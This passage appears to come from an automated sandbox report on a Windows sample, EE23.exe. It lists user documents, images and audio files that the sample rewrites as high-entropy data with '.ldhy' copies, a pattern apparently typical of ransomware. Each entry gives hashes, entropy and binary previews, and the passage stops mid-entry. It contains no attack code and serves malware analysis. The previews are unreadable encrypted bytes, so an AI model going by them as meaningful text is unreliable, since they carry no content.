                                                                                                                                                                                                                                                              Preview:EEGWX}.]pq6...7..,JD.2.]8.s.\..a.c....-..D8..!.S......(....Y...g.. m..s.. I.."XyE.....7..<.UvW.8s..r.rn.:M.Z........eq&...%...$..Q.0...'QF.........6A.....[;.;..DJ0...AQ....F.....H...........7MR..t..o...j=. y..)..u9\.\.....A""......%.R.....4...u.O1.p.B..\`..X.@X.:Z((....]..+../...Qi<..k.k.h.hv.p...g:.Fz..:>KBI...........5.F.......-...?..T...yc.{.n..M.MW.<.u.G.^.h;..l{....~.}.<..Y.?OD.......a.03.5.....t.5A...nU;.*...(...Z.....p.../E.*..[n@.3g..l.qB.i.Q.....9...,.V.1X..|c..%..i.~.Yw(.P0..o...*..p@....")..s...F......bU}...g.X/B..pN..S.Y..S.^}.(.#..<!...Zb.`....AW6..W}..I...0._..sGZ.x.>[..N.80m.'....1..v.sj..X..9....bHk.....Mj...i.....->...4.8hC... Xe.2....4.NSI$.iY..(z,...v.bT..mC...!L].)N.i#L4..../]..D..u...j..e..3.jlQvM=...^.5JB.Y%.*...Tzz;.|fzu.E..b...\...5.........d.X.'.......f...V..S. ...U5...........O....M.m......!.........g.S%9...X3s{O..rm..2...Z6~8y...L...G$. .../..4..%..H.....~..._...|m.l..}..c....:... .>M..r.OA.uR.Q.q.M5.M.)._.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\PIVFAGEAAV\EFOYFBOLXA.mp3

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.842965419695476
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:WuRM6y0JojzjrKybiMvpZHX/DSGjpGMnD1/ffolFqwKBeOBeI2kIQTsbD:1MqozjrKIiMvv1NGMnxnBeKIGmD
                                                                                                                                                                                                                                                              MD5:87C2E5836623F5DEA6E7C694001691B8
                                                                                                                                                                                                                                                              SHA1:5419F9248DE2E6C7B022A8C0727E46034B70DB5C
                                                                                                                                                                                                                                                              SHA-256:8389157772D97DF02F75AF1DC5FE8AED7844672E13288FDBB7DF0C0B7FCFF6B6
                                                                                                                                                                                                                                                              SHA-512:D7CC7D788C3765817C318FE9D693EB19D6A18B8EB75CC9CB354B833EC6A83A810BF2EBAECB75871632AFDE14B5D0D05C99B38696BE2BE7EA7FD6C7D00DE107FA
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EFOYF.!8R....Nu.s.W..M..1.....A.....\....O..(......>.q.T.[T......R..S.)..5...a6+:{......"!i.U..}E.....F..r.I.g=.W.D.c....:C.S.Yi....6.4.....c.....[.....4.7....... .m.=..V...}.....*..^.....I..:.......x......$....>.?}...)1.P.z..\$Qw...A......m.k.(.Q.....S.&F.JT.-.\..b.6...'..m.=>.\...=.X..(.q^Z....d.x...eJ...i..Ac...Oy.....m.S.v...S.....A,._jN.^.....^............u=#..#...Mw..2.|.[+..T{.6.5ki..d8..k(.Y...h.]..$.S@...=y;..........M.6,.G....K......://$._..{...].ug(.... ..^...# ..B. .)cs.......1@\......(.\#.+.OvI[.....>....9R.`$.....7....<W..[..S..IC........{0=.DQ.=9*..Iv.oK#...>...(.=.d.c...{.13w...cI.r#a.i?O.<.bCB....{W.g....'uf&j..f`7.s./.33.......{......L.X~.+....k.e....V.).Q....X.~I.3&^>'ol.=.es.+...q).-.{...e:T......[.,./.Kc..bF.ZX|...~ .Tf...,...O.,D.Q..wo.qU.CE................Zb...M..m.q..*\.M.vT.ljh1...W.g.{..K....T._^D2...d....Kg..c7r.=xZ....[m..H.Y.987.....h...d.N.l....=...+.R.m....q.......[.FJ.%X..Y..t.C.i..qy.;...KT.ov=.#.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\PIVFAGEAAV\EFOYFBOLXA.mp3.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.842965419695476
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:WuRM6y0JojzjrKybiMvpZHX/DSGjpGMnD1/ffolFqwKBeOBeI2kIQTsbD:1MqozjrKIiMvv1NGMnxnBeKIGmD
                                                                                                                                                                                                                                                              MD5:87C2E5836623F5DEA6E7C694001691B8
                                                                                                                                                                                                                                                              SHA1:5419F9248DE2E6C7B022A8C0727E46034B70DB5C
                                                                                                                                                                                                                                                              SHA-256:8389157772D97DF02F75AF1DC5FE8AED7844672E13288FDBB7DF0C0B7FCFF6B6
                                                                                                                                                                                                                                                              SHA-512:D7CC7D788C3765817C318FE9D693EB19D6A18B8EB75CC9CB354B833EC6A83A810BF2EBAECB75871632AFDE14B5D0D05C99B38696BE2BE7EA7FD6C7D00DE107FA
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EFOYF.!8R....Nu.s.W..M..1.....A.....\....O..(......>.q.T.[T......R..S.)..5...a6+:{......"!i.U..}E.....F..r.I.g=.W.D.c....:C.S.Yi....6.4.....c.....[.....4.7....... .m.=..V...}.....*..^.....I..:.......x......$....>.?}...)1.P.z..\$Qw...A......m.k.(.Q.....S.&F.JT.-.\..b.6...'..m.=>.\...=.X..(.q^Z....d.x...eJ...i..Ac...Oy.....m.S.v...S.....A,._jN.^.....^............u=#..#...Mw..2.|.[+..T{.6.5ki..d8..k(.Y...h.]..$.S@...=y;..........M.6,.G....K......://$._..{...].ug(.... ..^...# ..B. .)cs.......1@\......(.\#.+.OvI[.....>....9R.`$.....7....<W..[..S..IC........{0=.DQ.=9*..Iv.oK#...>...(.=.d.c...{.13w...cI.r#a.i?O.<.bCB....{W.g....'uf&j..f`7.s./.33.......{......L.X~.+....k.e....V.).Q....X.~I.3&^>'ol.=.es.+...q).-.{...e:T......[.,./.Kc..bF.ZX|...~ .Tf...,...O.,D.Q..wo.qU.CE................Zb...M..m.q..*\.M.vT.ljh1...W.g.{..K....T._^D2...d....Kg..c7r.=xZ....[m..H.Y.987.....h...d.N.l....=...+.R.m....q.......[.FJ.%X..Y..t.C.i..qy.;...KT.ov=.#.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\PIVFAGEAAV\NVWZAPQSQL.png

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.863327575449454
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:Fb++Dt8hyudwIv7U+B08NQZXelOs7YBW6RXjVfeWxp3uUH1bJ/FyWMsLsZzEZCV+:Fb+Jwu08mBeN7YJdj9eWxpxJ/FyWvYYt
                                                                                                                                                                                                                                                              MD5:3AE395C8F3E0AE29843AA0CF4233FBC4
                                                                                                                                                                                                                                                              SHA1:F3AE5C10E29A6ABB943A85487AFBBCD2527368DA
                                                                                                                                                                                                                                                              SHA-256:2F58CFDA9DC1A2ED005F0FFC44E0C188022580D507874C4DF3162F4AE222D7E5
                                                                                                                                                                                                                                                              SHA-512:D6531523DC1DEC5025D6F33E7ADC16146C36549F744395AADD496FE6A8773E38D5476293B24575000DF7EBDED434B7858E65EEEDE047D0F250FFD56098EE96D5
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZAa.Jy...1.p.....q.~... .A....O.%..~...)/..K.....b.@U....jM.f...d..?.t.....&}wz.u.&....U...3Q[....GU3....V..+.Lf.+N.......S...B2_......pS....:f..}.%...`^.P4;.!....<l./t...tR..=..+..'......Z..CZ..`.Z.....:..l...m..O?....Ne/kr8x.K...x...1...K....+.&.[...%..!.d....p....2Y..4....&..i'.........@.D.....&.........H......QR2. B......5W.$<&].......s.....p5.........o.........K.l.^.o.....$....9Y.3<..vi....L...................9L%.-VQ...ovO.....$..FQ..M...$D}.8....r...o.....|...r..w=HzBi.$..z..`...+.$).a_.fm..........n...p..t.nr<....Z.....a..o...{n.....52+.^..f..S....b...{5..u.!)7^.*...#...,....G{........v.$.x..@..../.iI....w........oE..W..=..X....:.^....P<..p..&.~Mu".b.R.X........u,..$...v..Q&..6..F.k..6.h.I].Cp..k_$.1AH.....!.....Qa.,6eY`.....6...4.s..s..G...;..tM..s. ........1.T.RZ.\.C@._...A...M.w;.#.q]^....w8....F..+H/.......37...r.#4........Y..=.=.W.^=J..R.G.&.b.Y'L..7....(..C..n.K.....2.F~v...7..x..zZ...j........nf.[)...E

                                                                                                                                                                                                                                                              C:\Users\user\Documents\PIVFAGEAAV\NVWZAPQSQL.png.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.863327575449454
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:Fb++Dt8hyudwIv7U+B08NQZXelOs7YBW6RXjVfeWxp3uUH1bJ/FyWMsLsZzEZCV+:Fb+Jwu08mBeN7YJdj9eWxpxJ/FyWvYYt
                                                                                                                                                                                                                                                              MD5:3AE395C8F3E0AE29843AA0CF4233FBC4
                                                                                                                                                                                                                                                              SHA1:F3AE5C10E29A6ABB943A85487AFBBCD2527368DA
                                                                                                                                                                                                                                                              SHA-256:2F58CFDA9DC1A2ED005F0FFC44E0C188022580D507874C4DF3162F4AE222D7E5
                                                                                                                                                                                                                                                              SHA-512:D6531523DC1DEC5025D6F33E7ADC16146C36549F744395AADD496FE6A8773E38D5476293B24575000DF7EBDED434B7858E65EEEDE047D0F250FFD56098EE96D5
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZAa.Jy...1.p.....q.~... .A....O.%..~...)/..K.....b.@U....jM.f...d..?.t.....&}wz.u.&....U...3Q[....GU3....V..+.Lf.+N.......S...B2_......pS....:f..}.%...`^.P4;.!....<l./t...tR..=..+..'......Z..CZ..`.Z.....:..l...m..O?....Ne/kr8x.K...x...1...K....+.&.[...%..!.d....p....2Y..4....&..i'.........@.D.....&.........H......QR2. B......5W.$<&].......s.....p5.........o.........K.l.^.o.....$....9Y.3<..vi....L...................9L%.-VQ...ovO.....$..FQ..M...$D}.8....r...o.....|...r..w=HzBi.$..z..`...+.$).a_.fm..........n...p..t.nr<....Z.....a..o...{n.....52+.^..f..S....b...{5..u.!)7^.*...#...,....G{........v.$.x..@..../.iI....w........oE..W..=..X....:.^....P<..p..&.~Mu".b.R.X........u,..$...v..Q&..6..F.k..6.h.I].Cp..k_$.1AH.....!.....Qa.,6eY`.....6...4.s..s..G...;..tM..s. ........1.T.RZ.\.C@._...A...M.w;.#.q]^....w8....F..+H/.......37...r.#4........Y..=.=.W.^=J..R.G.&.b.Y'L..7....(..C..n.K.....2.F~v...7..x..zZ...j........nf.[)...E

                                                                                                                                                                                                                                                              C:\Users\user\Documents\PIVFAGEAAV\PIVFAGEAAV.docx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.844930745947396
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:PxyZCmoZlElK//LOleCkeNfxmkdNpB2RFAwx5aGHd4DVn24lL8S3sbD:Px/zZlFLO8CkePdF2XRHdS3mD
                                                                                                                                                                                                                                                              MD5:B89CE4699F7A19349C895E76B46C05F9
                                                                                                                                                                                                                                                              SHA1:4A466D6E98F1F098D82A266F1F32FB9D8CB42875
                                                                                                                                                                                                                                                              SHA-256:CC4B9368F27B86AC94A905796E7F0954071398F7392A8153AD6A75FADAA5E012
                                                                                                                                                                                                                                                              SHA-512:0EDEDC523DD3C876EC9229078E719B0BAF0D1275FC7A30C0A8C280A53C00A4BB4CDA3617C64F72DB0E143437BB2508A51AAA648404FB788DCD47A063FA5D0E1A
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PIVFA.7......M....5H.S..;.H....N.}....]K......jI.j.e..5....-..[....j../.!$.%EN..D....b....U}/........6QIi_.y.%...........D...L.U.Qw...9Ux)...F...uj,....0..J.h...JU..F..3'...'..l:..d.....$.....\.......Cts...P.}F..s...S................Q..7=?....|.Va.(Sb6o'>..^.YJ......YGN....O.z.....5.:......3......4......m...`qg..>Q#.Y.W..$...&$L...t....$\)&...3..y5..........p.<O..P..\*......'.=...O.a..<7.S...W..e;.W....v....c#.....E....i1..>4H .s....r>..9...Z}..-..|.....-...x..........Vn@.[.."....O..a..e..........]`.......E....\.....+...U.K.:...{g...7K...\...}H...x....W..#]>{.o..w..l4.....'..[..........c..v~|b..[.....E.a..v...P........xY.q..p.t....R...__m. ^.%.G.{+6;V8..,.s.5....$..=..x#..<C.F..@.....$A......n..i.pFk.l..r,.=..L....T.."[f.m..u.2...6.E..d.v.......nk:L>.CA......+ATI....'..79..].>d.....m%C..0|./.3......Y8...Y...9.:........9_U._.V....V4......o...m....@..e.....s%q.RA..p.Wjg%..'v...O...V....C....sr.x...=..X....a..~qQ.O..nr.0.w.J..Q.2r.l..Dy.N...)...

                                                                                                                                                                                                                                                              C:\Users\user\Documents\PIVFAGEAAV\PIVFAGEAAV.docx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.844930745947396
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:PxyZCmoZlElK//LOleCkeNfxmkdNpB2RFAwx5aGHd4DVn24lL8S3sbD:Px/zZlFLO8CkePdF2XRHdS3mD
                                                                                                                                                                                                                                                              MD5:B89CE4699F7A19349C895E76B46C05F9
                                                                                                                                                                                                                                                              SHA1:4A466D6E98F1F098D82A266F1F32FB9D8CB42875
                                                                                                                                                                                                                                                              SHA-256:CC4B9368F27B86AC94A905796E7F0954071398F7392A8153AD6A75FADAA5E012
                                                                                                                                                                                                                                                              SHA-512:0EDEDC523DD3C876EC9229078E719B0BAF0D1275FC7A30C0A8C280A53C00A4BB4CDA3617C64F72DB0E143437BB2508A51AAA648404FB788DCD47A063FA5D0E1A
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PIVFA.7......M....5H.S..;.H....N.}....]K......jI.j.e..5....-..[....j../.!$.%EN..D....b....U}/........6QIi_.y.%...........D...L.U.Qw...9Ux)...F...uj,....0..J.h...JU..F..3'...'..l:..d.....$.....\.......Cts...P.}F..s...S................Q..7=?....|.Va.(Sb6o'>..^.YJ......YGN....O.z.....5.:......3......4......m...`qg..>Q#.Y.W..$...&$L...t....$\)&...3..y5..........p.<O..P..\*......'.=...O.a..<7.S...W..e;.W....v....c#.....E....i1..>4H .s....r>..9...Z}..-..|.....-...x..........Vn@.[.."....O..a..e..........]`.......E....\.....+...U.K.:...{g...7K...\...}H...x....W..#]>{.o..w..l4.....'..[..........c..v~|b..[.....E.a..v...P........xY.q..p.t....R...__m. ^.%.G.{+6;V8..,.s.5....$..=..x#..<C.F..@.....$A......n..i.pFk.l..r,.=..L....T.."[f.m..u.2...6.E..d.v.......nk:L>.CA......+ATI....'..79..].>d.....m%C..0|./.3......Y8...Y...9.:........9_U._.V....V4......o...m....@..e.....s%q.RA..p.Wjg%..'v...O...V....C....sr.x...=..X....a..~qQ.O..nr.0.w.J..Q.2r.l..Dy.N...)...

                                                                                                                                                                                                                                                              C:\Users\user\Documents\PIVFAGEAAV\SQSJKEBWDT.pdf

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.864750655721698
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:bYiCf94j9ezL7Ktwre376KvWXcF9IfLprtFwRx4LZrf+6pJV/WsbD:bGV4j9M7Kh7/vW4CfFrHSyL/rV/WmD
                                                                                                                                                                                                                                                              MD5:5A29BEB3478CA99072FF22047F26938E
                                                                                                                                                                                                                                                              SHA1:04A15CF046B2B33D82A3B5265D976F5872689C6E
                                                                                                                                                                                                                                                              SHA-256:10C846D78BCF04C8168C6C324EE52E7A98286986F7F740ACF6A6787C005FD41D
                                                                                                                                                                                                                                                              SHA-512:4851E75F4A24FB874EBF18A5BC311A12A1E88E1AE1C7022ED2C3D3D15D70083E3B81CE34DBD7774F6BD695CFC90CD92640D5ACED82C6F6C08E32F2436F5DC0C0
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:SQSJK.....\..w.WNv.e.%....tE3./ln[...t..........P..Z..\5T.......j....0...(._6...o......$}3.q.)O9...L.v.n..}.yLWB.....`.w..=.7.h..(+..vv-...SO.z._w]sa.-.H..]d.Y....Uz.."f!..d..O0@..c&...x..^..Z^......g.O.l.g...m\.V....&.m..m..h'j=......uA..(...Ouk....B......K|tp.$.....@|.4RV~....~...-..6(...]V7]4Sb...qk.....Y.+.g...M`&.5.:.n.J....Go..$D\...i.6..`:"....).....aj...q...r......'.3P....%6....Bl....i......" ....j{..U.s]%..d.y........._...%....Dr..63...1.5.N...9m..n.U....L......KQ.}.6!..R..8.obG.s..P..WO:....;*.x.u.Onq.WB...I....a .(...){j..+..c{l.M..|...%C.[..}........|.JBTd_?.c...n.7.+z..s.......B....B......To.....].#3..Y%w.....Z..G..?....P.X&..;...B...K....V....l.....v,........*.'.Xf.x..9F.e..`u-. .;.a;tla.]V.<.I....=..V;..2..[V.10........y...^.{.F..(v..'..[.t.3.B.......[.B...u,.%B.wBN..7.....!.....'.z..e.+...J.X.o"..q@.o..//p..2.......z.7.*...8.>.R.[.......Qs.k...%...&.....F......cD..*...F...8z...^O.y0S..:....j....8.'...J...A.(%l....+.8..

                                                                                                                                                                                                                                                              C:\Users\user\Documents\PIVFAGEAAV\SQSJKEBWDT.pdf.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.864750655721698
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:bYiCf94j9ezL7Ktwre376KvWXcF9IfLprtFwRx4LZrf+6pJV/WsbD:bGV4j9M7Kh7/vW4CfFrHSyL/rV/WmD
                                                                                                                                                                                                                                                              MD5:5A29BEB3478CA99072FF22047F26938E
                                                                                                                                                                                                                                                              SHA1:04A15CF046B2B33D82A3B5265D976F5872689C6E
                                                                                                                                                                                                                                                              SHA-256:10C846D78BCF04C8168C6C324EE52E7A98286986F7F740ACF6A6787C005FD41D
                                                                                                                                                                                                                                                              SHA-512:4851E75F4A24FB874EBF18A5BC311A12A1E88E1AE1C7022ED2C3D3D15D70083E3B81CE34DBD7774F6BD695CFC90CD92640D5ACED82C6F6C08E32F2436F5DC0C0
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:SQSJK.....\..w.WNv.e.%....tE3./ln[...t..........P..Z..\5T.......j....0...(._6...o......$}3.q.)O9...L.v.n..}.yLWB.....`.w..=.7.h..(+..vv-...SO.z._w]sa.-.H..]d.Y....Uz.."f!..d..O0@..c&...x..^..Z^......g.O.l.g...m\.V....&.m..m..h'j=......uA..(...Ouk....B......K|tp.$.....@|.4RV~....~...-..6(...]V7]4Sb...qk.....Y.+.g...M`&.5.:.n.J....Go..$D\...i.6..`:"....).....aj...q...r......'.3P....%6....Bl....i......" ....j{..U.s]%..d.y........._...%....Dr..63...1.5.N...9m..n.U....L......KQ.}.6!..R..8.obG.s..P..WO:....;*.x.u.Onq.WB...I....a .(...){j..+..c{l.M..|...%C.[..}........|.JBTd_?.c...n.7.+z..s.......B....B......To.....].#3..Y%w.....Z..G..?....P.X&..;...B...K....V....l.....v,........*.'.Xf.x..9F.e..`u-. .;.a;tla.]V.<.I....=..V;..2..[V.10........y...^.{.F..(v..'..[.t.3.B.......[.B...u,.%B.wBN..7.....!.....'.z..e.+...J.X.o"..q@.o..//p..2.......z.7.*...8.>.R.[.......Qs.k...%...&.....F......cD..*...F...8z...^O.y0S..:....j....8.'...J...A.(%l....+.8..

                                                                                                                                                                                                                                                              C:\Users\user\Documents\QCOILOQIKC.mp3

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.860431707936603
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:HfsOBAooq9LzxcgBKrQ4KKem832IOh9/BgglkQp/tK1uQxtJ3hzuksNE3sbD:koAO974KKemTIOn/BTeQ8uatJRznsNEO
                                                                                                                                                                                                                                                              MD5:E159C4D42018131B6E0C6DAF92B0D201
                                                                                                                                                                                                                                                              SHA1:3082D220EA90732EA9A2C95CA238F69E91E0E50C
                                                                                                                                                                                                                                                              SHA-256:6DB037103DC563C9EF3658C045155BA0345C0A81A7ED4B71695C6B5728BD0B80
                                                                                                                                                                                                                                                              SHA-512:BADC597EC490B5DF609F4635FFCE5D9DE53D21173898D4AA5686AC35BA54042D4D3BE3CB7030551A5B246B5BBEC0B4CF44A4B33BA656EC206D306A4526B4300A
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:QCOILe{.X.....JC$h.W7y..........'k...Rp.d%}L-.$N-.,.^2.8?.....I.(...Sa.......w.....AB...!...*.^.....$...l0[..KN.o..._i....._...$j...`.#.h..)..q..y.....E.|E..&..>.....O.%.....7.K.....k..f.f$$.tE.w.8u...`...G....{.sTw...?7...gdJy.....V.c.I...l..|r[."@..........\5.0.=i2y..F...5\[.2R.i.P.....s.$,1e..W.....Jp|.B. `PU.......5u.j@BL(.F1.).....j..z......o...{..iZG?........dm...w..........[.DiNJ..,....J!I..........&.l.#l........Na..O.I.!S....~..P..9.r.r?.m.2#r.,..e..x..s..V.....*....s.'...Z. ~8...5.k.....):..r...g..sI..J...d.[..*.7XO.q.... .8.(.'K...H.:..."..m..JD...aJ....].F..s>.........BKH.<...2..H....$.`...._e..R._j7'AlX.....].C...Z....`...e........G.2.Tq@..&...~.p..y..{........7.N.....t..a3N..W..].._.1EL8Li...y.9d......_'..X....;......G.o-.....j.rW........#...ZF-..?../O.....ar....:.QM:QCe..C."L.A.G.[^...?...A...O...[jR..>...2rd\`..Cv.D..+.Kb.....".}7....\.!..v.s.....m..K.%..k...g/w.Z.G.....R.x......|..~`...SZ.(.3..w.>U.9....K.^

                                                                                                                                                                                                                                                              C:\Users\user\Documents\QCOILOQIKC.mp3.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.860431707936603
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:HfsOBAooq9LzxcgBKrQ4KKem832IOh9/BgglkQp/tK1uQxtJ3hzuksNE3sbD:koAO974KKemTIOn/BTeQ8uatJRznsNEO
                                                                                                                                                                                                                                                              MD5:E159C4D42018131B6E0C6DAF92B0D201
                                                                                                                                                                                                                                                              SHA1:3082D220EA90732EA9A2C95CA238F69E91E0E50C
                                                                                                                                                                                                                                                              SHA-256:6DB037103DC563C9EF3658C045155BA0345C0A81A7ED4B71695C6B5728BD0B80
                                                                                                                                                                                                                                                              SHA-512:BADC597EC490B5DF609F4635FFCE5D9DE53D21173898D4AA5686AC35BA54042D4D3BE3CB7030551A5B246B5BBEC0B4CF44A4B33BA656EC206D306A4526B4300A
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:QCOILe{.X.....JC$h.W7y..........'k...Rp.d%}L-.$N-.,.^2.8?.....I.(...Sa.......w.....AB...!...*.^.....$...l0[..KN.o..._i....._...$j...`.#.h..)..q..y.....E.|E..&..>.....O.%.....7.K.....k..f.f$$.tE.w.8u...`...G....{.sTw...?7...gdJy.....V.c.I...l..|r[."@..........\5.0.=i2y..F...5\[.2R.i.P.....s.$,1e..W.....Jp|.B. `PU.......5u.j@BL(.F1.).....j..z......o...{..iZG?........dm...w..........[.DiNJ..,....J!I..........&.l.#l........Na..O.I.!S....~..P..9.r.r?.m.2#r.,..e..x..s..V.....*....s.'...Z. ~8...5.k.....):..r...g..sI..J...d.[..*.7XO.q.... .8.(.'K...H.:..."..m..JD...aJ....].F..s>.........BKH.<...2..H....$.`...._e..R._j7'AlX.....].C...Z....`...e........G.2.Tq@..&...~.p..y..{........7.N.....t..a3N..W..].._.1EL8Li...y.9d......_'..X....;......G.o-.....j.rW........#...ZF-..?../O.....ar....:.QM:QCe..C."L.A.G.[^...?...A...O...[jR..>...2rd\`..Cv.D..+.Kb.....".}7....\.!..v.s.....m..K.%..k...g/w.Z.G.....R.x......|..~`...SZ.(.3..w.>U.9....K.^

                                                                                                                                                                                                                                                              C:\Users\user\Documents\SQSJKEBWDT.docx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.821246547694247
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:TzlFRGQA++kNfX/SBn/r0nPoEbDGGYzWsdjrQY10wOtvyeHZeUNL3FPpkkXsbD:v/RGR+QtT0PoEPG7Wck2O35fL5pkkXmD
                                                                                                                                                                                                                                                              MD5:45D85DDEB55F5FB0B8DE51C28F8F38D2
                                                                                                                                                                                                                                                              SHA1:2093FA8B0610D0AE62ECB323C71255A35230BAE4
                                                                                                                                                                                                                                                              SHA-256:BC30BDAE99A4BEA00BD832DC648E6825F032F0A2FED9A24467AD916A3122DACC
                                                                                                                                                                                                                                                              SHA-512:DC8667FB5F17C83F063C6AB42B45F9BC74C099D4B89FAEF0A8608C2CCC9AAF3933F746CDAD279043F3BADCF8C0A5AF5530A46589CD71E75DFE9BCE127C555165
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:SQSJK.:..>..2..#.5.^^...@....]..9...c.M...e.2..g.*,.3..<.....a...3R..aN.....8(;1N......],:........0!..z..J.2..:...=Z......w..Q.Zy...`...._ o|...)4B.=.U<.$..-..0...:...$.U.a....=sH.......)......y.`.b.6..3....%..\PK.0... ...J..3.F.......kNo..Iq\.0z..u.{...y...G?,e...87.E....*O....#........_,.1r..<uw........6.s|.....Mp.Q...:.:...Sok.0(k].t...}..J..re....Z.l...u.(.f2.......#.R.~..2..^;.b.7{....j......+.......P...i..Bv(...].6...8q.pq....(.4....zr..vP.!%O"|b...S.dg../.../.;.x...|pq.(..x.@.M.0.!L....s8sH.8'.X.w 2.:^.GZ ...PL...H).Q..9/...}.:n..D.....P8.p.t...8.OQkH..G..8.!U...0..q..=.bm_.q... /.$..P..../..2..`He.k.Z..o.....*.o.]hLO|.Ym./v..q.n..)s..r..X..$../A.<{.W.P.{.=...P...Z7e..|.%..... 46ub.I...1..v..S.Z,..^1.L.w....o]..(...._m{.u......I%c./.u...V.a:?T.JWJ....u...d....T.6.>.k.{..t.O..!....j6...9.....xQ.mQR..0..o.j..R..e..........L./{6.l.E..~.."$.~{......K.Q!.y{...c....Uy`...s....bm...L.j).....E..;L......s.n...f..c8.(....?....|f...1<.....B.j...-kH

                                                                                                                                                                                                                                                              C:\Users\user\Documents\SQSJKEBWDT.docx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.821246547694247
